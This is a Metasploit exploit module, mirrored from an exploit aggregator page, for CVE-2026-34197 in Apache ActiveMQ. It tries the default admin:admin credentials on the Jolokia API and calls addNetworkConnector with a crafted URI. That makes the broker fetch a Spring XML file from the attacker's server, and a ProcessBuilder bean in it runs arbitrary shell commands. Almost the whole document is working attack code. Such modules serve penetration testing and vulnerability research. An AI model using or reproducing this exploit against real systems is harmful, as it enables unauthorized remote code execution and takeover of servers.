Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-APACHE_ACTIVEMQ_JOLOKIA_RCE-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
        'Description' => %q{
          Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
          An authenticated attacker can invoke the addNetworkConnector() MBean
          operation with a crafted URI that causes the broker to fetch a remote
          Spring XML configuration over HTTP. The Spring XML instantiates a
          ProcessBuilder bean that executes attacker-supplied OS commands.

          Default credentials (admin:admin) are accepted by many installations.

          Verified on docker image
        },
        'Author' => [
          'dinosn', # Discovery and PoC
          'h00die'  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-34197'],
          ['URL', 'https://github.com/dinosn/CVE-2026-34197'],
          ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
        ],
        'DisclosureDate' => '2026-04-29',
        'Platform' => %w[linux unix win],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Stance' => Stance::Aggressive,
        'Targets' => [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => %w[linux unix] }],
          ['Unix', { 'Platform' => 'unix' }]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8161),
      OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
      OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
      OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
      OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    })

    return CheckCode::Unknown('No response from target') unless res
    return CheckCode::Unknown('Authentication failed (401) โ€” check USERNAME/PASSWORD') if res.code == 401
    return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
    return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200

    data = res.get_json_document
    return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?

    agent = data.dig('value', 'agent') || 'unknown'
    CheckCode::Appears("Jolokia accessible โ€” agent version: #{agent}")
  end

  def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri}")

    case target['Platform']
    when 'win'
      shell = 'cmd.exe'
      flag = '/c'
    else
      shell = '/bin/sh'
      flag = '-c'
    end

    xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>#{shell}</value>
        <value>#{flag}</value>
        <value><![CDATA[#{payload.encoded}]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>)

    send_response(cli, xml, {
      'Content-Type' => 'application/xml',
      'Connection' => 'close',
      'Pragma' => 'no-cache'
    })
    print_good('Malicious Spring XML served โ€” target will execute payload via ProcessBuilder')
  end

  def exploit
    start_service

    bname = detect_broker_name
    print_status("Using broker name: #{bname}")

    remove_network_connector(bname, 'NC')

    # static:(...) is the network connector discovery URI.
    # vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
    # brokerConfig=xbean:http://... loads remote Spring XML config.
    malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"

    jolokia_body = {
      'type' => 'exec',
      'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
      'operation' => 'addNetworkConnector(java.lang.String)',
      'arguments' => [malicious_uri]
    }.to_json

    print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
    vprint_status("Malicious URI: #{malicious_uri}")

    # Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
    # asynchronously, so the Jolokia POST often never returns a response.
    # We handle the session in the handler regardless.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'ctype' => 'application/json',
      'data' => jolokia_body,
      'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
      'timeout' => 10
    })

    if res.nil?
      print_status('Jolokia POST timed out โ€” broker is likely fetching Spring XML and executing payload')
    elsif res.code == 401
      fail_with(Failure::NoAccess, 'Authentication failed โ€” check USERNAME/PASSWORD')
    elsif res.code != 200
      print_warning("Unexpected HTTP status: #{res.code} โ€” continuing anyway")
    else
      result = res.get_json_document
      if result.empty?
        print_warning('Could not parse Jolokia response โ€” continuing anyway')
      elsif result['status'] == 200
        print_good('Jolokia accepted the payload โ€” waiting for target to fetch Spring XML...')
      else
        print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
      end
    end

    handler
  end

  private

  def remove_network_connector(broker_name, connector_name)
    body = {
      'type' => 'exec',
      'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
      'operation' => 'removeNetworkConnector(java.lang.String)',
      'arguments' => [connector_name]
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'ctype' => 'application/json',
      'data' => body,
      'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
    })

    if res&.code == 200
      vprint_status("Removed existing '#{connector_name}' network connector")
    else
      vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) โ€” continuing")
    end
  end

  def detect_broker_name
    return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    })

    if res&.code == 200
      data = res.get_json_document
      if !data.empty? && data['status'] == 200 && data['value']
        data['value'].each_key do |mbean|
          mbean.split(',').each do |part|
            next unless part.start_with?('brokerName=')

            name = part.split('=', 2).last
            vprint_status("Discovered broker name: #{name}")
            return name
          end
        end
      end
    end

    vprint_status("Could not discover broker name, using default 'localhost'")
    'localhost'
  end
end